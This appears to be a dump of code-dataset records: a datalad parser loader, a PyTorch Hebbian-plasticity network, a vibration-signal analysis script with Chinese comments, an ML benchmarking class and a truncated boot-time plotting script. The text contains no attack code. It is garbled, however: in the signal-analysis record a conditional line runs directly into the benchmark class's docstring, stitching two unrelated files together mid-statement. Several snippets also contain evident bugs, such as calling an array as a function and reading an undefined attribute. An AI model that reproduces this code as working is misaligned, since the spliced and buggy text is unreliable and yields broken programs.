"call"}, {"api_name": "matplotlib.pyplot", "line_number": 385, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 386, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 386, "usage_type": "name"}]} +{"seq_id": "363375513", "text": "# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\n# ex: set sts=4 ts=4 sw=4 noet:\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\n#\n# See COPYING file distributed along with the datalad package for the\n# copyright and license terms.\n#\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\n\"\"\"Metadata parsers\"\"\"\n\nimport logging as __logging\n__lgr = __logging.getLogger('datalad.metadata.parsers')\n\nfrom importlib import import_module as __impmod\n\nfor __modname in (\n 'audio',\n 'bids',\n 'datacite',\n 'datalad_core',\n 'datalad_rfc822',\n 'dicom',\n 'exif',\n 'frictionless_datapackage',\n 'image',\n 'nifti1',\n 'xmp'):\n try:\n globals()[__modname] = __impmod(\n '.{}'.format(__modname),\n 'datalad.metadata.parsers')\n except Exception as _e:\n from datalad.dochelpers import exc_str as _exc_str\n __lgr.debug('Metadata parser %s unusable: %s', __modname, _exc_str(_e))\n", "sub_path": "datalad/metadata/parsers/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 1083, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "importlib.import_module", "line_number": 29, "usage_type": "call"}, {"api_name": "datalad.dochelpers.exc_str", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "104427889", "text": "import sys\nimport torch\n\nimport utils\nimport copy\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\n\nclass PlasticLayer(torch.nn.Module):\n def __init__(self, dim_in, dim_out, num_tasks):\n super(PlasticLayer, self).__init__()\n\n self.weight = torch.nn.Parameter((.01 * torch.randn(dim_in, dim_out)), requires_grad=True)\n self.bias = torch.nn.Parameter((.01 * torch.randn(dim_out)), requires_grad=True)\n\n self.dim_in = dim_in\n self.dim_out = dim_out\n\n self.hebbs = []\n self.thresholds = torch.nn.ParameterList()\n\n self.initialZeroHebb(num_tasks)\n self.hebbsGate = utils.ZeroOneNorm() # torch.nn.Softsign()\n\n\n def initialZeroHebb(self, num_of_tasks):\n for i in range(num_of_tasks):\n self.hebbs.append(Variable(torch.zeros(self.dim_in, self.dim_out), requires_grad=False).cuda())\n\n def forward(self, t, mask, inputx, batch_size, calculate_habbian, use_forward_mask, activation='relu'):\n\n if use_forward_mask:\n activation_hebb = inputx.mm(self.weight * mask[:, :]) + (self.bias * mask[0,:])\n else:\n activation_hebb = inputx.mm(self.weight)\n\n if activation == \"relu\":\n act = F.relu(activation_hebb)\n else:\n act = F.softmax(activation_hebb)\n\n if calculate_habbian:\n input = inputx #copy(torch.cat([Variable(torch.ones([batch_size, 1])).cuda(), inputx], 1))\n dh = torch.sum((1.e-30 * torch.bmm(input.unsqueeze(2), act.unsqueeze(1))), 0)\n\n self.hebbs[t] = copy.copy( self.hebbs[t] + self.hebbsGate(dh))\n\n self.hebbs[t] = self.hebbsGate(self.hebbs[t].view(-1)).view(self.dim_in, self.dim_out)\n\n return act\n\n\nclass Net(torch.nn.Module):\n\n def __init__(self,inputsize, taskcla, nhid=50,pdrop1=0.2,pdrop2=0.5 ):\n super(Net,self).__init__()\n\n ncha, self.input_size = 1, inputsize[0]\n\n self.taskcla=taskcla\n self.nhid = nhid\n self.nlayers = 2\n\n self.relu=torch.nn.ReLU()\n self.drop1=torch.nn.Dropout(pdrop1)\n self.drop2=torch.nn.Dropout(pdrop2)\n self.fc1 = PlasticLayer(self.input_size, self.nhid, len(self.taskcla))\n\n\n\n\n\n self.fc2 = PlasticLayer(self.nhid, self.nhid, len(self.taskcla))\n\n #self.initialZeroHebb(len(self.taskcla))\n\n\n self.last=torch.nn.ModuleList()\n for t,n in self.taskcla:\n self.last.append(torch.nn.Linear(self.nhid,n))\n\n self.gate=torch.nn.Sigmoid()\n\n return\n\n def forward(self,t,x, forward_mask, calc_hebb, mask_prev, s=1):\n\n h = x.view(x.size(0), -1)\n h = self.drop1(h)\n ghebb1, ghebb2 = None, None\n\n if forward_mask:\n ghebb1, ghebb2 = self.hebb_mask_con(t, s)\n\n fc1_act = self.fc1(t, ghebb1, h, x.size(0), calculate_habbian = calc_hebb, use_forward_mask = forward_mask)\n h = self.drop2(fc1_act)\n\n fc2_act = self.fc2(t, ghebb2, h, x.size(0), calculate_habbian=calc_hebb, use_forward_mask = forward_mask)\n h = self.drop2(fc2_act)\n\n\n y=[]\n for t,i in self.taskcla:\n y.append(self.last[t](h))\n return y\n\n def hebb_gate(self, x, s, plast =1):\n plas = torch.max(torch.abs(x)) * 0.25\n return self.gate( s * torch.log(torch.abs( x / 2 ) ))\n\n def hebb_mask_con(self, t, s=1):\n\n ghebb1 = self.hebb_gate( copy.copy(self.fc1.hebbs[t]), s ,self.fc1.plasticity[t] )\n ghebb2 = self.hebb_gate( copy.copy(self.fc2.hebbs[t]), s, self.fc1.plasticity[t] )\n return [ghebb1, ghebb2]\n\n\n\n def mask(self,t,s=1):\n gfc1=self.gate(s*self.efc1(t))\n if self.nlayers==1: return gfc1\n gfc2=self.gate(s*self.efc2(t))\n if self.nlayers==2: return [gfc1,gfc2]\n gfc3=self.gate(s*self.efc3(t))\n return [gfc1,gfc2,gfc3]\n\n def get_view_for(self,n,masks):\n if self.nlayers==1:\n gfc1=masks\n elif self.nlayers==2:\n gfc1,gfc2=masks\n elif self.nlayers==3:\n gfc1,gfc2,gfc3=masks\n\n if n=='fc1.weight':\n return gfc1.data#.view(1,-1).expand_as(self.fc1.weight)\n elif n=='fc1.bias':\n return gfc1.data.view(-1)\n elif n=='fc2.weight':\n post=gfc2.data#.view(1,-1).expand_as(self.fc2.weight)\n #pre=gfc1.data#.view(1,-1).expand_as(self.fc2.weight)\n #return torch.min(post,pre)\n return post\n elif n=='fc2.bias':\n return gfc2.data.view(-1)\n elif n=='fc3.weight':\n post=gfc3.data.view(-1,1).expand_as(self.fc3.weight)\n pre=gfc2.data.view(1,-1).expand_as(self.fc3.weight)\n return torch.min(post,pre)\n elif n=='fc3.bias':\n return gfc3.data.view(-1)\n return None\n\n\n\n #def initialZeroHebb(self, num_of_tasks):\n # for i in range(num_of_tasks):\n # for l in range(self.nlayers):\n # self.plasticity_learned.append( torch.nn.Parameter((1 * torch.ones(1).cuda()), requires_grad=True))\n\n\n", "sub_path": "src/networks/smnist_measure_forgetting_net.py", "file_name": "smnist_measure_forgetting_net.py", "file_ext": "py", "file_size_in_byte": 5045, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "torch.nn", "line_number": 10, "usage_type": "attribute"}, {"api_name": "torch.nn.Parameter", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.randn", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.randn", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn.ParameterList", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "attribute"}, {"api_name": "utils.ZeroOneNorm", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.nn.functional.softmax", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.sum", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 45, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 54, "usage_type": "attribute"}, {"api_name": "torch.nn.ReLU", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "attribute"}, {"api_name": "torch.nn.Dropout", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 66, "usage_type": "attribute"}, {"api_name": "torch.nn.Dropout", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 67, "usage_type": "attribute"}, {"api_name": "torch.nn.ModuleList", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 79, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 81, "usage_type": "attribute"}, {"api_name": "torch.nn.Sigmoid", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 83, "usage_type": "attribute"}, {"api_name": "torch.max", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 110, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 114, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.min", "line_number": 150, "usage_type": "call"}]} +{"seq_id": "576612433", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 9 10:32:08 2017\n\n@author: xieydd\n\"\"\"\nimport numpy as np\nimport pandas as pd\nfrom scipy import *\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport scipy.signal as signals\nfrom scipy import fftpack\nimport inspect\nimport math\nfrom sympy import Symbol, exp, I\n\n#保证图像中文问题和符号问题\nmatplotlib.rcParams['axes.unicode_minus']=False\nplt.rc('font', family='SimHei', size=13)\n\nN = 20000\nfs = 20000\nt = np.linspace(0/fs,N/fs,N)\nchioce_num = 10\n\n#时域信号\ndef time(x,y):\n x = x[chioce_num,0:20000]\n y = y[chioce_num,0:20000]\n plt.subplot(2,1,1)\n plt.plot(t,np.array(x).flatten(),'r')\n plt.ylabel('加速度m/s^2')\n plt.xlabel('时间/s')#绘出Nyquist频率之前随频率变化的振幅\n plt.title('X通道时域信号')\n \n plt.subplot(2,1,2)\n plt.plot(t,np.array(y).flatten(),'r')\n plt.ylabel('加速度m/s^2')\n plt.xlabel('时间/s')#绘出Nyquist频率之前随频率变化的振幅\n plt.title('Y通道时域信号')\n plt.show()\n \n #希尔伯特 \ndef hibert(x,y):\n x = x[chioce_num-1,0:20000]\n y = y[chioce_num-1,0:20000]\n \n #X_Hilbert包络谱\n x_signal = np.array(x).flatten()#展成一维\n x_analytic_signal = signals.hilbert(x_signal)#希尔伯特变换\n x_amplitude_envelope = np.abs(x_analytic_signal)\n #x_amplitude_envelope = np.sqrt(x_analytic_signal**2+x_signal**2)\n x_instantaneous_phase = np.unwrap(np.angle(x_analytic_signal))#瞬时相位\n x_instantaneous_frequency = (np.diff(x_instantaneous_phase)/(2.0*np.pi) * fs)#瞬时频率\n \n x_signal_fft = np.abs(fftpack.fft(x_analytic_signal)/10000)\n f = [i*fs/N for i in range(10000)]\n \n fig1 = plt.figure(figsize=(12,12))\n ax0 = fig1.add_subplot(211)\n #ax0.plot(t[0:100], x_signal[0:100], label='signal')\n ax0.plot(t, x_signal, label='signal')\n #ax0.plot(t[0:100], x_amplitude_envelope[0:100], label='envelope')\n ax0.plot(t, x_amplitude_envelope, label='envelope')\n ax0.set_xlabel(\"时间/s\")\n ax0.set_ylabel('加速度m/s^2')\n ax0.set_title('X通道希尔伯特包络')\n ax0.legend()\n #Y_Hilbert包络谱\n y_signal = np.array(y).flatten()#展成一维\n y_analytic_signal = signals.hilbert(y_signal)#希尔伯特变换\n y_amplitude_envelope = np.abs(y_analytic_signal)\n y_instantaneous_phase = np.unwrap(np.angle(y_analytic_signal))#瞬时相位\n y_instantaneous_frequency = (np.diff(y_instantaneous_phase)/(2.0*np.pi) * fs)#瞬时频率\n \n y_signal_fft = np.abs(fftpack.fft(y_analytic_signal)/10000)\n f = [i*fs/N for i in range(10000)]\n \n ax1 = fig1.add_subplot(212)\n ax1.plot(t, y_signal, label='signal')\n ax1.plot(t, y_amplitude_envelope, label='envelope')\n ax1.set_xlabel(\"时间/s\")\n ax1.set_ylabel('加速度m/s^2')\n ax1.set_title('Y通道希尔伯特包络')\n ax1.legend()\n \n fig2 = plt.figure(figsize=(12,12))\n ax0 = fig2.add_subplot(211)\n ax0.plot(t[1:], x_instantaneous_frequency)\n ax0.set_xlabel(\"时间/s\")\n ax0.set_ylabel(\"瞬时频率/Hz\")\n ax0.set_title('X通道瞬时频率')\n \n ax1 = fig2.add_subplot(212)\n ax1.plot(t[1:], y_instantaneous_frequency)\n ax1.set_xlabel(\"时间/s\")\n ax1.set_ylabel(\"瞬时频率/Hz\")\n ax1.set_title('Y通道瞬时频率')\n \n fig3 = plt.figure(figsize=(12,12))\n ax0 = fig3.add_subplot(211)\n ax0.plot(f[1:2000],x_signal_fft[1:2000])\n ax0.set_ylim(0.0,0.1)\n ax0.set_xlabel(\"频率/Hz\")\n ax0.set_ylabel(\"加速度m/s^2\")\n ax0.set_title('X通道Hilbert频谱')\n \n ax1 = fig3.add_subplot(212)\n ax1.plot(f[1:2000],y_signal_fft[1:2000])\n ax1.set_ylim(0.0,0.1)\n ax1.set_xlabel(\"频率/Hz\")\n ax1.set_ylabel(\"加速度m/s^2\")\n ax1.set_title('Y通道Hilbert频谱')\n \n return x_amplitude_envelope[0:20000],y_amplitude_envelope[0:20000]\n \n'''\n全矢希尔伯特 输入x_amplitude_envelope,y_amplitude_envelope\nxdata,ydata是两通道数据，当ydata数据为空或全为0时认为是单通道数据\ndir_sensor:水平方向传感器到垂直方向传感器的转向与旋转方向一致为1，相反为－1；\nangle_x:水平方向传感器与水平方向的夹角\neps：计算误差要求\nvm,vs,vr,alpha,phase,wave_time:分别为主振矢，副振矢，振矢比，振矢角，矢相位和时域融合结果\n'''\n'''\n #输入变量检测\n frame = inspect.currentframe()\n args, _, _, values = inspect.getargvalues(frame)\n nargin = len(args)\n if nargin<1:\n print('输入变量数不能小于1')\n elif nargin==1:\n n=len(xdata)\n ydata=np.zeros((n,1))\n dir_sensor=1\n angle_x=0\n eps=0.05\n elif nargin==2:\n dir_sensor=1\n angle_x=0\n eps=0.05\n elif nargin==3:\n angle_x=0\n eps=0.05\n elif nargin==4:\n eps=0.05\n \n #判断输入单通道还是双通道\n n =len(xdata)\n n_half = int(n/2)\n flag_channel = 2\n if ydata.all() == None:\n ydata = zeros((n,1))\n flag_channel = 1\n \n #flag位为1时为正变换，为-1时为反变换\n flag=1\n \n vm = np.zeros((n_half,1))#定义主振矢\n vs = np.zeros((n_half,1))#定义副振矢\n alpha = np.zeros((n_half,1))#定义振矢角\n rvN_k = np.zeros((n_half,1)) \n ivN_k = np.zeros((n_half,1)) \n phase = np.zeros((n_half,1)) #定义矢相位，正进动相位角，反进动相位角\n faia = np.zeros((n_half,1))\n faib = np.zeros((n_half,1))\n xdata = xdata-np.mean(xdata)\n ydata = ydata-np.mean(ydata)\n\n xdata.reshape(10000,1)\n z = np.zeros((len(xdata),1),dtype=complex)\n \n for i in range(len(xdata)):\n z[i] =complex(xdata[i],round(float(ydata[i]),4))\n \n \n Z = 2*fftpack.fft(z.flatten())/n\n rv=real(Z)\n iv=imag(Z)\n rvk = rv[0:n_half]\n ivk = iv[0:n_half]\n \n rvN_k[0]=rv[0]\n for i in range(1,n_half-1):\n rvN_k[i]=rv[n-i]\n ivN_k[i]=iv[n-i]\n vm[0]=0 #主振矢\n vs[0]=0 #副振矢\n alpha[0]=0 #振矢角\n Xck=(rvN_k+rvk)/2\n Xsk=(ivk-ivN_k)/2\n Yck=(ivk+ivN_k)/2\n Ysk=(rvN_k-rvk)/2\n \n zv = np.zeros(shape=(len(iv),1),dtype=complex)\n for j in range(len(iv)):\n zv[j] = complex(rv[j],round(float(iv[j]),4)) \n \n xp=0.5*np.abs(zv[2:n_half]) #正进动幅值序列\n mxr=0.5*np.abs(zv[n_half+2:n]) #反进动幅值序列所需中间变量\n nn=len(mxr) #反进动幅值序列长度\n xr=np.zeros((nn,1)) #反进动幅值序列\n tr=np.zeros((nn,1))\n mmivN_k=np.zeros((nn,1))\n mmrvN_k=np.zeros((nn,1))\n \n tanpk=iv[2:n_half]/rv[2:n_half] #正进动相位角\n mtr=iv[n_half+2:n]/rv[n_half+2:n] #反进动相位角\n for i in range(1,nn):\n xr[i]=mxr[nn-i-1] #反进动幅值序列\n tr[i]=mtr[nn-i-1] #反进动相位角反向排序\n mmivN_k[i]=iv[n-i-1]\n mmrvN_k[i]=rv[n-i-1]\n \n #求主振矢、副振矢、振矢比\n vm[2:n_half]=xp+xr #求主振矢\n vs[2:n_half]=dir_sensor*(xp-xr) #求副振矢，考虑传感器安装方向与转速方向\n vr=vs/vm #振矢比的值域为[-1，1]\n bb=(iv[2:n_half]*mmrvN_k+mmivN_k*rv[2:n_half])#./(rv(2:n/2).*mmrvN_k);\n aa=(rv[2:n_half]*mmrvN_k-iv[2:n_half]*mmivN_k)#./(rv(2:n/2).*mmrvN_k);\n \n atan2a = np.zeros((len(bb),1))\n for i in range(len(bb)):\n atan2a[i]=math.atan((bb/aa)[i])\n \n #根据2a所在象限调整2a的值\n for i in range(0,n_half-2):\n if (aa[i]<0 and bb[i]<0): #2a位于第三象限时\n atan2a[i]=atan2a[i]+pi\n elif (aa[i]<0 and bb[i])>0: #2a位于第二象限时\n atan2a[i]=atan2a[i]+pi\n elif (aa[i]>0 and bb[i]<0): #2a位于第四象限时\n atan2a[i]=atan2a[i]+2*pi\n \n #计算振矢角\n alpha[2:n_half]=0.5*atan2a*180/pi #通过2a算振矢角a，单位：角度,值域为[0，180]\n alpha=alpha+angle_x #把相角从与X方向夹角变换到与水平方向夹角\n for i in range(0,n_half-1):\n if (alpha[i]>180):\n alpha[i]=alpha[i]-180\n #计算矢相位\n for i in range(0,n_half-1):\n faia[i]=math.atan2(Xsk[i]*cos(alpha[i])+Ysk[i]*sin(alpha[i]),Xck[i]*cos(alpha[i])+Yck[i]*sin(alpha[i])) # 设xr1=vm*cos(omega*t+faia1)\n faib[i]=math.atan2(-Xsk[i]*sin(alpha[i])+Ysk[i]*cos(alpha[i]),-Xck[i]*sin(alpha[i])+Yck[i]*cos(alpha[i])) #设yr1=vs*cos(omega*t+faib1) 把椭圆方程化成标准形式\n fai=faia-faib\n phase = np.zeros((len(ivk),1))\n for i in range(len(ivk)):\n phase[i]=math.atan((ivk/rvk)[i])*180/pi #矢谱分析技术中的相位角\n \n #根据相角所在象限调整矢相角值\n for i in range(0,n_half-1): #根据相角所在象限调整矢相角值，目的是使相位角始终位于[0，2*pi] \n if (ivk[i]>0 and rvk[i]<0): #当相角位于第二象限时\n phase[i]=phase[i]+180\n elif (ivk[i]<0 and rvk[i]<0): #当相角位于第三象限时 \n phase[i]=phase[i]+180\n elif (ivk(i)<0 and rvk(i)>0): #当相角位于第四象限\n phase[i]=phase[i]+2*180\n else: #当相角位于第一象限时\n phase[i]=phase[i]\n phase=phase+angle_x #把相角从与X方向夹角变换到与水平方向夹角 \n for i in range(0,n_half-1):\n if(phase[i]>360):\n phase[i]=phase[i]-360\n \n #计算融合后的时域波形图\n wave_time=np.zeros((n,2))\n \n vs_a = np.zeros(shape=(len(vs),1),dtype=complex)\n for j in range(len(vs)):\n vs_a[j] = complex(0,round(float(vs[j]),4)) \n \n Xvr=vm+vs_a\n Xv=np.zeros((n,1))\n Xv[2:n_half]=Xvr[2:len(Xvr)]\n for i in range(2,n_half-1):\n Xv[n-i+1]=vm[i]-complex(0,round(float(vs[i]),4))\n wave_time=fftpack.ifft(Xv)*n_half\n \n #根据误差限调整各参数的值\n maxvm=np.max(vm[2:n_half])\n for ii in range(0,n_half):\n if (vm[ii] 0, number of splits you want to create to use for the cross-validation\n test_size : Float between 0.0 and 1.0 to estimate the size of the test dataframe\n \n Split the dataframe according to the datas passed in constructor.\n Considering timeseries if is_timeseries/col_date defined and target variable wanted\n \n show()\n \n See the state of the runners inside the benchmark\n \n run(nbtimes=1, file_for_boxplot=False, file_for_barplot=False, file_for_roc_auc=False, verbose=False)\n nbtimes : Integer > 0, number of time the function will be evaluated\n file_for_boxplot : Boolean, True if you want to create the file containing boxplot data \n to compare algorithms potential\n file_for_barplot : Boolean, True if you want to create the file containing barplot data\n to compare the average execution time of the algorithms used\n file_for_roc_auc : Boolean, True if you want to create the file containing ROC AUC data\n to compare AUC value of the best combination parameters for each algorithm\n verbose : Boolean, True if you want to see more detail about the grid search\n \n Launch the process evaluating the benchmarks generated by the constructor in func_dict variable.\n \n \n \"\"\"\n from runner import Runner\n def __init__(self, dataframe, func_dict, target_var, is_timeserie=False, col_date=None):\n from datetime import datetime\n from Queue import Queue\n self.dataframe = dataframe\n self.target_var = target_var\n self.runners = []\n self.labels = []\n self.queue = Queue()\n self.data_boxplot = []\n self.data_barplot = []\n self.data_roc_auc = []\n #Get algo labels\n for dict_label_function_params in func_dict:\n self.labels.append(dict_label_function_params.items()[0])\n #Name the folder\n self.benchmark_path = \"Benchmark_\" + target_var + \"_\" + datetime.now().strftime(\"%Y-%m-%d_%H:%M:%S\")\n #Set new queue as global variable to get data from all threads\n for dict_label_function_params in func_dict:\n label, func_params = dict_label_function_params.items()[0]\n current_path = self.benchmark_path + '/' + label\n self.runners.append(Runner(dataframe=dataframe,\n process_name=label,\n function_to_execute=func_params[0],\n parameters=func_params[1],\n queue=self.queue,\n path_to_write=current_path,\n target_var=self.target_var,\n data_boxplot=self.data_boxplot,\n data_barplot=self.data_barplot,\n data_roc_auc=self.data_roc_auc))\n self.nb_runners = len(self.runners)\n if isinstance(is_timeserie, bool):\n self.is_timeserie = is_timeserie\n if (self.is_timeserie):\n self.col_date = col_date\n else:\n self.col_date = None\n else:\n raise ValueError('is_timeserie is not a boolean, it is of type {}'.format(type(is_timeserie)))\n \n def split(self,n_splits=3,test_size=0.20):\n if self.is_timeserie:\n # Default : do one split\n from sklearn import model_selection\n if self.col_date is None:\n #Already sorted by date\n time_serie_cross_validator = model_selection.TimeSeriesSplit(n_splits=n_splits)\n split_indexes = time_serie_cross_validator.split(self.dataframe)\n self.train_test_indexes = []\n for train_index, test_index in split_indexes:\n self.train_test_indexes.append((train_index,test_index))\n #Common to all runners\n for i in range(0,self.nb_runners):\n self.runners[i].setSplitIndexes(self.train_test_indexes)\n self.runners[i].dataframe = self.dataframe\n else:\n # Not sorted\n try:\n self.dataframe = self.dataframe.sort_values(by=[self.col_date])\n except:\n raise ValueError('col_date is not defined for this dataframe, split aborted')\n self.dataframe = self.dataframe.drop(axis=1, labels=self.col_date)\n time_serie_cross_validator = model_selection.TimeSeriesSplit(n_splits=n_splits)\n split_indexes = time_serie_cross_validator.split(self.dataframe)\n self.train_test_indexes = []\n for train_index, test_index in split_indexes:\n self.train_test_indexes.append((train_index,test_index))\n #Common to all runners\n for i in range(0,self.nb_runners):\n self.runners[i].setSplitIndexes(self.train_test_indexes)\n self.runners[i].dataframe = self.dataframe\n else:\n from sklearn.model_selection import train_test_split\n #Split into two dataset\n if self.col_date in dataframe.columns:\n self.dataframe = self.dataframe.drop(axis=1,labels=[self.col_date])\n train, test = train_test_split(self.dataframe, test_size=test_size)\n self.split_indexes = [list(train.index.values.tolist()),list(test.index.values.tolist())]\n for i in range(0,self.nb_runners):\n self.runners[i].setSplitIndexes(self.split_indexes)\n self.runners[i].dataframe = self.dataframe\n \n def show(self):\n for runner in self.runners:\n runner.show()\n \n def run(self, nbtimes=1, file_for_boxplot=False, file_for_barplot=False, file_for_roc_auc=False, verbose=False):\n from datetime import datetime\n #Create benchmark process lists\n if nbtimes > 0:\n start = datetime.now()\n for i in range(0,self.nb_runners):\n #Execute each runner nbtimes\n self.runners[i].setExecNumber(nbtimes)\n self.runners[i].run(file_for_boxplot, file_for_barplot, file_for_roc_auc,verbose)\n #Get all data from threads in processes and then from processes and write it in a file\n cols = [\"split_number\",\"algorithm\",\"parameters\",\"avg_time\",\"avg_accuracy\",\"avg_precision\",\"avg_recall\",\"avg_f1\",\"roc_auc\",\"fpr\",\"tpr\"]\n self.data = []\n while True:\n try:\n elem = self.queue.get(block=False)\n except:\n break\n else:\n if elem is not []:\n self.data.append(elem)\n print(\"\\nWriting summary file ...\")\n data = pd.DataFrame(columns=cols,data=self.data)\n data = data.drop(labels=['fpr','tpr'],axis=1)\n data = data.sort_values(by=['roc_auc'], ascending=False)\n data.to_csv(self.benchmark_path + \"/Benchmark_summary.csv\", sep=str(u';'), index=None)\n if file_for_roc_auc:\n data = pd.DataFrame(columns=[\"algorithm\",\"roc_auc\",\"fpr\",\"tpr\"], data=self.data_roc_auc)\n data = data.sort_values(by=['roc_auc'], ascending=False)\n data.to_csv(self.benchmark_path + \"/Benchmark_ROCAUC_curve.csv\", sep=str(u';'), index=None)\n if file_for_barplot:\n data = pd.DataFrame(columns=[\"algorithm\",\"avg_time\"],data=self.data_barplot)\n data = data.sort_values(by=['avg_time'])\n data.to_csv(self.benchmark_path + \"/Benchmark_AVGTIME_barplot.csv\", sep=str(u';'), index=None)\n if file_for_boxplot:\n data = pd.DataFrame(columns=[\"algorithm\",\"roc_auc_scores\"],data=self.data_boxplot)\n data.to_csv(self.benchmark_path + \"/Benchmark_ROCAUC_boxplot.csv\", sep=str(u';'), index=None)\n print(\"Time spent for the evaluation of this benchmark : {} s\\n\".format((datetime.now()-start).total_seconds()))\n else:\n raise ValueError('Nbtimes undefined : {}, need an integer between 0 and infinity'.format(nbtimes))\n", "sub_path": "classes/benchmark.py", "file_name": "benchmark.py", "file_ext": "py", "file_size_in_byte": 9134, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "Queue.Queue", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 57, "usage_type": "name"}, {"api_name": "runner.Runner", "line_number": 62, "usage_type": "call"}, {"api_name": "sklearn.model_selection.TimeSeriesSplit", "line_number": 88, "usage_type": "call"}, {"api_name": "sklearn.model_selection", "line_number": 88, "usage_type": "name"}, {"api_name": "sklearn.model_selection.TimeSeriesSplit", "line_number": 104, "usage_type": "call"}, {"api_name": "sklearn.model_selection", "line_number": 104, "usage_type": "name"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 118, "usage_type": "call"}, {"api_name": "runner.show", "line_number": 126, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 132, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 132, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 164, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 164, "usage_type": "name"}]} +{"seq_id": "385443289", "text": "#!/bin/env python3\n# SPDX-License-Identifier: BSD-3-Clause\n#\n# Authors: Alexander Jung \n#\n\nimport os\nimport sys\nimport csv\nimport fire\nimport pprint\nimport numpy as np\nfrom time import gmtime\nfrom time import strftime\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as mcolors\nfrom common import common_style, mk_groups, SMALL_SIZE, MEDIUM_SIZE, LARGE_SIZE, PATTERNS\nfrom os import listdir, makedirs\n\npp = pprint.PrettyPrinter(indent=4)\n\ndef plot(data=None, output=None):\n WORKDIR = os.getcwd()\n RESULTSDIR = data\n RESULTEXT = '.csv'\n\n MINUTES = 60\n MEAN_KEY = 'mean'\n MEDIAN_KEY = 'median'\n AMAX_KEY = 'amax'\n AMIN_KEY = 'amin'\n BAR_WIDTH = 0.6\n\n files = []\n labels = []\n apps = []\n boottimes = {}\n boottime_max = 0 # maximum observed build time\n stack_max = 1 # number of bars to be stacked\n total_vmms = 0\n component_colors = {\n \"vmm\": '#9774a7', # dark purple\n \"guest\": '#fff3cd', # yellow\n }\n component_labels = {\n 'vmm': 'VMM',\n \"guest\": 'Unikraft Guest',\n }\n\n colors = [\n # 'black',\n # 'dimgray',\n # 'lightcoral',\n # 'orangered',\n # 'sandybrown',\n # 'darkorange',\n # 'gold',\n # 'darkkhaki',\n # 'yellowgreen',\n # 'seagreen',\n # 'turquoise',\n # 'teal',\n # 'deepskyblue',\n # 'royalblue',\n # 'mediumpurple',\n # 'orchid',\n # 'lightskyblue',\n\n '#91c6e7', # blue\n '#d18282', # red\n '#ddcae3', # lavender\n '#a2d9d1', # thyme\n '#ededed', # gray\n '#fff3cd', # yellow\n '#91c6e7', # light blue\n '#618c84', # dark green\n '#49687c', # dark blue \n '#7c4f4f', # dark yellow\n ]\n\n text_xlabels = {\n 'qemu': 'QEMU',\n 'qemu1nic': \"QEMU (1NIC)\",\n 'qemumicrovm': 'QEMU\\n(MicroVM)',\n 'solo5': 'Solo5',\n 'firecracker': 'Firecracker',\n }\n\n for f in os.listdir(RESULTSDIR):\n if f.endswith(RESULTEXT):\n unikernel = f.replace(RESULTEXT,'')\n files.append(f)\n\n if unikernel not in boottimes:\n total_vmms += 1\n boottimes[unikernel] = {\n \"guest\" : {\n MEAN_KEY: 0,\n MEDIAN_KEY: 0,\n AMAX_KEY: 0,\n AMIN_KEY: 0\n }\n }\n\n with open(os.path.join(RESULTSDIR, f), 'r') as csvfile:\n csvdata = csv.reader(csvfile, delimiter=\"\\t\")\n \n next(csvdata) # skip header\n \n vmm_times = []\n guest_times = []\n\n for row in csvdata:\n 